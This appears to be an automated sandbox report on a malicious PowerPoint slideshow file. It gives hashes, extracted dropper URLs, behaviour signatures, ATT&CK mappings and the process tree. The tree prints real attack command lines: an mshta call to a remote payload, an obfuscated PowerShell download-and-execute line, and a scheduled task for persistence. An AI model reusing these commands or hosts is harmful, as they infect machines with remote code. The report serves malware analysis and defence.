2a4506ceb5bc265840e2aeeeb6577aa97db5534672ad420efc22b62fe31e6d82

General

Target

BOQ & DWG & Specs.pps
Size

88KB
MD5

07f043483f0ace3a78eaf975472c5a0a
SHA1

3cded094a69940961675a7b9a72a11e8a74d99d3
SHA256

2a4506ceb5bc265840e2aeeeb6577aa97db5534672ad420efc22b62fe31e6d82
SHA512

60471fd4be21a7a3d53379f4af75c6bdd0a27f23a95d2b617175fe5d56ff84c00555854c6d42211dbd3589244736eb0986dafb8858308b4cf9f1e04ec80d7183

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://bitbucket.org/!api/2.0/snippets/warzonepro/BgkqLA/e51a1670f88c9ae8856c835b8f03482c06cfdc8e/files/devis1

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://bitbucket.org/!api/2.0/snippets/warzonepro/zE7z8E/529055121d9e0c31c5b73d98430be89b7a04a05f/files/devis111.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

MsHTa.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	4256	704	MsHTa.exe	POWERPNT.EXE

Blocklisted process makes network request 4 IoCs

Processes:

MsHTa.exepowershell.exe

flow pid process

35 4256 MsHTa.exe
37 4256 MsHTa.exe
40 4256 MsHTa.exe
42 4584 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

MsHTa.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation MsHTa.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
35	4256	MsHTa.exe
37	4256	MsHTa.exe
40	4256	MsHTa.exe
42	4584	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation	MsHTa.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2364 schtasks.exe

pid	process
2364	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

704 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4584 powershell.exe
4584 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4584 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

POWERPNT.EXE

pid process

704 POWERPNT.EXE
704 POWERPNT.EXE

pid	process
704	POWERPNT.EXE

pid	process
4584	powershell.exe
4584	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4584	powershell.exe

pid	process
704	POWERPNT.EXE
704	POWERPNT.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

POWERPNT.EXEMsHTa.exe

description	pid	process	target process
PID 704 wrote to memory of 4256	704	POWERPNT.EXE	MsHTa.exe
PID 704 wrote to memory of 4256	704	POWERPNT.EXE	MsHTa.exe
PID 4256 wrote to memory of 4584	4256	MsHTa.exe	powershell.exe
PID 4256 wrote to memory of 4584	4256	MsHTa.exe	powershell.exe
PID 4256 wrote to memory of 2364	4256	MsHTa.exe	schtasks.exe
PID 4256 wrote to memory of 2364	4256	MsHTa.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\BOQ & DWG & Specs.pps" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:704

C:\Windows\SYSTEM32\MsHTa.exe
MsHTa http://bitbucket.org/!api/2.0/snippets/warzonepro/BgkqLA/e51a1670f88c9ae8856c835b8f03482c06cfdc8e/files/devis1
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://bitbucket.org/!api/2.0/snippets/warzonepro/zE7z8E/529055121d9e0c31c5b73d98430be89b7a04a05f/files/devis111.txt'))));Invoke-Expression $MMMMMMM
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4584

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 300 /tn yandex /F /tr """mshta""""""https://openforce123.blogspot.com/p/devis1back_6.html"""
3⤵
- Creates scheduled task(s)
PID:2364

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

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Downloads

memory/704-138-0x000001F8257E2000-0x000001F8257E4000-memory.dmp

Filesize
8KB

Download
memory/704-136-0x00007FFE209A0000-0x00007FFE209B0000-memory.dmp

Filesize
64KB

Download
memory/704-132-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/704-133-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/704-148-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/704-135-0x00007FFE209A0000-0x00007FFE209B0000-memory.dmp

Filesize
64KB

Download
memory/704-131-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/704-137-0x000001F8283B0000-0x000001F8283B4000-memory.dmp

Filesize
16KB

Download
memory/704-134-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/704-149-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/704-130-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/704-146-0x000001F8257E2000-0x000001F8257E4000-memory.dmp

Filesize
8KB

Download
memory/704-151-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/704-150-0x00007FFE23150000-0x00007FFE23160000-memory.dmp

Filesize
64KB

Download
memory/2364-143-0x0000000000000000-mapping.dmp

Download
memory/4256-139-0x0000000000000000-mapping.dmp

Download
memory/4584-142-0x0000000000000000-mapping.dmp

Download
memory/4584-147-0x00007FFE382F0000-0x00007FFE38DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4584-145-0x00007FFE382F0000-0x00007FFE38DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4584-144-0x000001A0B8970000-0x000001A0B8992000-memory.dmp

Filesize
136KB

Download
memory/4584-152-0x00007FFE382F0000-0x00007FFE38DB1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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